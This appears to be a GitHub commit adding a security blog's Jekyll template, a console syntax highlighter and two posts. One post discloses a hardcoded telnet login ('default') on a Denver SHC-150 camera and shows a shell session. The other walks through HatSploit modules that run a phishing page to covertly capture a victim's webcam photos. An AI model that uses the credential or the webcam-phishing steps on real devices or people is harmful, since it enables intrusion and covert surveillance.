Skip to content

Commit 01e539a

Browse files
enty8080enty8080
authored
Add files via upload
1 parent d570fdd commit 01e539a

12 files changed

+821
-2
lines changed

‎_includes/head.html‎

Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
<head>
2+
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3+
<meta name="theme-color" media="(prefers-color-scheme: light)" content="#f7f7f7">
4+
<meta name="theme-color" media="(prefers-color-scheme: dark)" content="#1b1b1e">
5+
<meta name="mobile-web-app-capable" content="yes">
6+
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
7+
<meta
8+
name="viewport"
9+
content="width=device-width, user-scalable=no initial-scale=1, shrink-to-fit=no, viewport-fit=cover"
10+
>
11+
12+
{%- capture seo_tags -%}
13+
{% seo title=false %}
14+
{%- endcapture -%}
15+
16+
<!-- Setup Open Graph image -->
17+
18+
{% if page.image %}
19+
{% assign src = page.image.path | default: page.image %}
20+
21+
{% unless src contains '://' %}
22+
{%- capture img_url -%}
23+
{% include media-url.html src=src subpath=page.media_subpath absolute=true %}
24+
{%- endcapture -%}
25+
26+
{%- capture old_url -%}{{ src | absolute_url }}{%- endcapture -%}
27+
{%- capture new_url -%}{{ img_url }}{%- endcapture -%}
28+
29+
{% assign seo_tags = seo_tags | replace: old_url, new_url %}
30+
{% endunless %}
31+
32+
{% elsif site.social_preview_image %}
33+
{%- capture img_url -%}
34+
{% include media-url.html src=site.social_preview_image absolute=true %}
35+
{%- endcapture -%}
36+
37+
{%- capture og_image -%}
38+
<meta property="og:image" content="{{ img_url }}" />
39+
{%- endcapture -%}
40+
41+
{%- capture twitter_image -%}
42+
<meta name="twitter:card" content="summary_large_image" />
43+
<meta property="twitter:image" content="{{ img_url }}" />
44+
{%- endcapture -%}
45+
46+
{% assign old_meta_clip = '<meta name="twitter:card" content="summary" />' %}
47+
{% assign new_meta_clip = og_image | append: twitter_image %}
48+
{% assign seo_tags = seo_tags | replace: old_meta_clip, new_meta_clip %}
49+
{% endif %}
50+
51+
{{ seo_tags }}
52+
53+
<title>
54+
{%- unless page.layout == 'home' -%}
55+
{{ page.title | append: ' | ' }}
56+
{%- endunless -%}
57+
{{ site.title }}
58+
</title>
59+
60+
{% include_cached favicons.html %}
61+
62+
<!-- Resource Hints -->
63+
{% unless site.assets.self_host.enabled %}
64+
{% for hint in site.data.origin.cors.resource_hints %}
65+
{% for link in hint.links %}
66+
<link rel="{{ link.rel }}" href="{{ hint.url }}" {{ link.opts | join: ' ' }}>
67+
{% endfor %}
68+
{% endfor %}
69+
{% endunless %}
70+
71+
<!-- Bootstrap -->
72+
{% unless jekyll.environment == 'production' %}
73+
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
74+
{% endunless %}
75+
76+
<!-- Theme style -->
77+
<link rel="stylesheet" href="{{ '/assets/css/:THEME.css' | replace: ':THEME', site.theme | relative_url }}">
78+
79+
<!-- Web Font -->
80+
<link rel="stylesheet" href="{{ site.data.origin[type].webfonts | relative_url }}">
81+
82+
<!-- Font Awesome Icons -->
83+
<link rel="stylesheet" href="{{ site.data.origin[type].fontawesome.css | relative_url }}">
84+
85+
<!-- 3rd-party Dependencies -->
86+
87+
{% if site.toc and page.toc %}
88+
<link rel="stylesheet" href="{{ site.data.origin[type].toc.css | relative_url }}">
89+
{% endif %}
90+
91+
{% if page.layout == 'post' or page.layout == 'page' or page.layout == 'home' %}
92+
<link rel="stylesheet" href="{{ site.data.origin[type]['lazy-polyfill'].css | relative_url }}">
93+
{% endif %}
94+
95+
{% if page.layout == 'page' or page.layout == 'post' %}
96+
<!-- Image Popup -->
97+
<link rel="stylesheet" href="{{ site.data.origin[type].glightbox.css | relative_url }}">
98+
{% endif %}
99+
100+
<!-- Scripts -->
101+
102+
{% unless site.theme_mode %}
103+
<script src="{{ '/assets/js/dist/theme.min.js' | relative_url }}"></script>
104+
{% endunless %}
105+
106+
{% include js-selector.html lang=lang %}
107+
108+
{% if jekyll.environment == 'production' %}
109+
<!-- PWA -->
110+
{% if site.pwa.enabled %}
111+
<script
112+
defer
113+
src="{{ '/app.min.js' | relative_url }}?baseurl={{ site.baseurl | default: '' }}&register={{ site.pwa.cache.enabled }}"
114+
></script>
115+
{% endif %}
116+
117+
<!-- Web Analytics -->
118+
{% for analytics in site.analytics %}
119+
{% capture str %}{{ analytics }}{% endcapture %}
120+
{% assign platform = str | split: '{' | first %}
121+
{% if site.analytics[platform].id and site.analytics[platform].id != empty %}
122+
{% include analytics/{{ platform }}.html %}
123+
{% endif %}
124+
{% endfor %}
125+
{% endif %}
126+
127+
{% include metadata-hook.html %}
128+
<link rel="stylesheet" href="{% link assets/main.css %}">
129+
</head>

‎_plugins/entysec.rb‎

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
require 'rouge'
2+
3+
module Rouge
4+
module Tokens
5+
def self.token(name, shortname, &b)
6+
tok = Token.make_token(name, shortname, &b)
7+
const_set(name, tok)
8+
end
9+
10+
SHORTNAME = 'z'
11+
12+
token :EntySec, SHORTNAME do
13+
token :Prompt, "#{SHORTNAME}p"
14+
token :Error, "#{SHORTNAME}e"
15+
token :Good, "#{SHORTNAME}g"
16+
token :Status, "#{SHORTNAME}s"
17+
token :Warning, "#{SHORTNAME}w"
18+
token :Info, "#{SHORTNAME}i"
19+
end
20+
end
21+
22+
module Lexers
23+
class EntySecConsoleLanguage < Rouge::RegexLexer
24+
title 'entysec'
25+
tag 'entysec'
26+
desc 'EntySec Console Highlighter'
27+
filenames []
28+
mimetypes []
29+
30+
def self.keywords
31+
@keywords ||= Set.new %w()
32+
end
33+
34+
state :whitespace do
35+
rule %r/\s+/, Text
36+
end
37+
38+
state :root do
39+
mixin :whitespace
40+
41+
rule %r{^(pwny:)}, Text, :pwny_prompt
42+
rule %r{^\[-\]}, Tokens::EntySec::Error
43+
rule %r{^\[\+\]}, Tokens::EntySec::Good
44+
rule %r{^\[\*\]}, Tokens::EntySec::Status
45+
rule %r{^\[\!\]}, Tokens::EntySec::Warning
46+
rule %r{^(\[i\]|\[\?\]|\[>\])}, Tokens::EntySec::Info
47+
rule %r{^(\[)}, Text, :hsf_prompt
48+
rule %r{^(\()}, Text, :regular_prompt
49+
rule %r{.+}, Text
50+
end
51+
52+
state :regular_prompt do
53+
mixin :whitespace
54+
55+
rule %r{ghost|seashell}, Tokens::EntySec::Prompt
56+
rule %r{:}, Punctuation
57+
rule %r{[.\w/-]+}, Tokens::EntySec::Error
58+
rule %r{\)}, Punctuation
59+
rule %r{>}, Punctuation, :pop!
60+
end
61+
62+
state :hsf_prompt do
63+
mixin :whitespace
64+
65+
rule %r{hsf\d?}, Tokens::EntySec::Warning
66+
rule %r{exploit|auxiliary|post}, Text
67+
rule %r{:}, Punctuation
68+
rule %r{\]}, Punctuation
69+
rule %r{[.\w/-]+}, Tokens::EntySec::Error
70+
rule %r{>}, Punctuation, :pop!
71+
end
72+
73+
state :pwny_prompt do
74+
mixin :whitespace
75+
76+
rule %r{(/[\w/]*)(?=\s)}, Tokens::EntySec::Prompt
77+
rule %r{(\w+)}, Tokens::EntySec::Status
78+
rule %r{\$|\#}, Punctuation, :pop!
79+
end
80+
end
81+
end
82+
end

‎_posts/2021-07-28-denver-backdoors.md‎

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
---
2+
title: Denver SHC-150 Camera Backdoor
3+
categories: [Exploitation]
4+
tags: [research, backdoor, iot]
5+
---
6+
7+
<p align="center">
8+
<img width="100%" src="/assets/img/shc-150-specs.png">
9+
</p>
10+
11+
Backdoor was found in a Denver SHC-150 Smart Wifi Camera by Ivan Nikolsky, security researcher from EntySec.
12+
13+
> I bought this model of wifi camera in the shop and before setting it up, checked it for vulnerabilities and backdoors.
14+
> I scanned this camera for open ports and noticed that telnet service is running on port 23. I brute-forced credentials and logged right to the shell.
15+
> There is no way to close this port or change credentials - they are hardcoded. Maybe other models also have this backdoor too, I am not sure.
16+
>
17+
> -- <cite>Ivan Nikolskiy</cite>
18+
19+
So, the telnet service, as Ivan noticed, has hardcoded credentials and after brute-forcing them he found out that the only thing which is needed to login is username - `default`.
20+
21+
```shell
22+
enty8080@Ivans-Air ~ % telnet 192.168.2.118 23
23+
Trying 192.168.2.118...
24+
Connected to pc192-168-2-118.
25+
Escape character is '^]'.
26+
27+
goke login: default
28+
$ ls /
29+
bin home linuxrc opt run tmp
30+
dev init media proc sbin usr
31+
etc lib mnt root sys var
32+
$ pwd
33+
/home/default
34+
$ exit
35+
Connection closed by foreign host.
36+
enty8080@Ivans-Air ~ %
37+
```
38+
39+
As you can see, successfull login leads to the shell of the camera. Also he found out that Denver SHC-150 Smart Wifi Camera runs on `armle` CPU and has `r/w` filesystem.
40+
41+
> So, backdoor is a factory telnet credential - `default`.
42+
> Just open the telnet connection with the camera on port 23 and enter `default`.
43+
> After this, you'll get a Linux shell.
44+
> Backdoor allows an attacker to execute commands on OS lever through telnet.
45+
>
46+
> -- <cite>Ivan Nikolskiy</cite>
47+
48+
Ivan has already posted this research [here](https://www.exploit-db.com/exploits/50160).

‎_posts/2022-03-13-webcam-photo-phishing.md‎

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
---
2+
title: Webcam Photo Phishing
3+
categories: [Exploitation]
4+
tags: [hatsploit, phishing]
5+
---
6+
7+
Phishing is a common technique used by attackers to gain access to sensitive information through methods like social engineering. Attackers often attempt to obtain credentials, password hashes, location data, and other critical information by tricking users into revealing this data.
8+
9+
In the HatSploit Framework, EntySec has implemented several modules specifically designed to target a victim’s webcam. These modules allow attackers to take a photo using the target's webcam through a browser and save the captured image as loot on the attacker's machine. Additionally, attackers can stream the webcam footage in real-time. These modules are named `exploit/generic/gather/browser_webcam_photo` and `exploit/generic/gather/browser_webcam_stream`.
10+
11+
Here’s how you can access and use these modules:
12+
13+
```entysec
14+
[hsf3]> search webcam
15+
16+
Modules:
17+
18+
Number Category Module Rank Name
19+
0 exploit exploit/generic/gather/browser_webcam_photo low Gather Browser Webcam Photo
20+
1 exploit exploit/generic/gather/browser_webcam_stream low Gather Browser Webcam Stream
21+
```
22+
23+
## Using the module
24+
25+
Once you have identified the desired module, you can use it within the HatSploit Framework and set the appropriate options.
26+
27+
For example, to use the `Gather Browser Webcam Photo` module:
28+
29+
```entysec
30+
[hsf]> use 0
31+
[hsf3: Gather Browser Webcam Photo]> info
32+
33+
Name: Gather Browser Webcam Photo
34+
Module: exploit/generic/gather/browser_webcam_photo
35+
Platform: generic
36+
Rank: low
37+
38+
Authors:
39+
Ivan Nikolskiy (enty8080) - module developer
40+
41+
Description:
42+
This module generates a webpage that, when accessed by a victim, attempts to capture an image using the built-in webcam and send it to the attacker.
43+
44+
References:
45+
URL: https://blog.entysec.com/2022-03-13-webcam-photo-phishing/
46+
47+
Stability:
48+
This module is stable and does not crash the target.
49+
```
50+
51+
## Configuring the module
52+
53+
You will need to configure several options before running the module:
54+
55+
```entysec
56+
[hsf3: Gather Browser Webcam Photo]> options
57+
58+
Module Options (exploit/generic/gather/browser_webcam_photo):
59+
60+
Option Value Required Description
61+
HOST yes HTTP host.
62+
MESSAGE Grant Access yes Message to display.
63+
PATH /Users/felix/.hsf/loot/zIlWzaKkC9x28XX7.png yes Path to save file.
64+
PORT 80 yes HTTP port.
65+
SSL no no Use SSL.
66+
TIMEOUT 10 no Connection timeout.
67+
URLPATH / yes File path on server.
68+
```
69+
70+
## Running the module
71+
72+
After configuring the options, you can start the web server and wait for the victim to access the malicious webpage. The module will continue to capture images from the victim’s webcam until it is manually interrupted.
73+
74+
Here’s an example:
75+
76+
```entysec
77+
[hsf3: Gather Browser Webcam Photo]> set host localhost
78+
[i] host => localhost
79+
[hsf3: Gather Browser Webcam Photo]> set port 8080
80+
[i] port => 8080
81+
[hsf3: Gather Browser Webcam Photo]> run
82+
83+
[*] Starting HTTP listener on port 8080...
84+
[*] Delivering payload...
85+
[*] Taking webcam photo...
86+
[*] Taking webcam photo...
87+
[*] Taking webcam photo...
88+
[*] Taking webcam photo...
89+
[*] Taking webcam photo...
90+
[*] Taking webcam photo...
91+
[*] Taking webcam photo...
92+
[!] Exploit module interrupted.
93+
```
94+
95+
This module will continue to capture and update the photo file saved in the loot directory until you stop it manually with keyboard interrupt (Ctrl-C).
96+
97+
By utilizing this module, attackers can gain access to sensitive webcam data through the use of phishing techniques, making it an essential tool in the HatSploit Framework.

0 commit comments

Comments
 (0)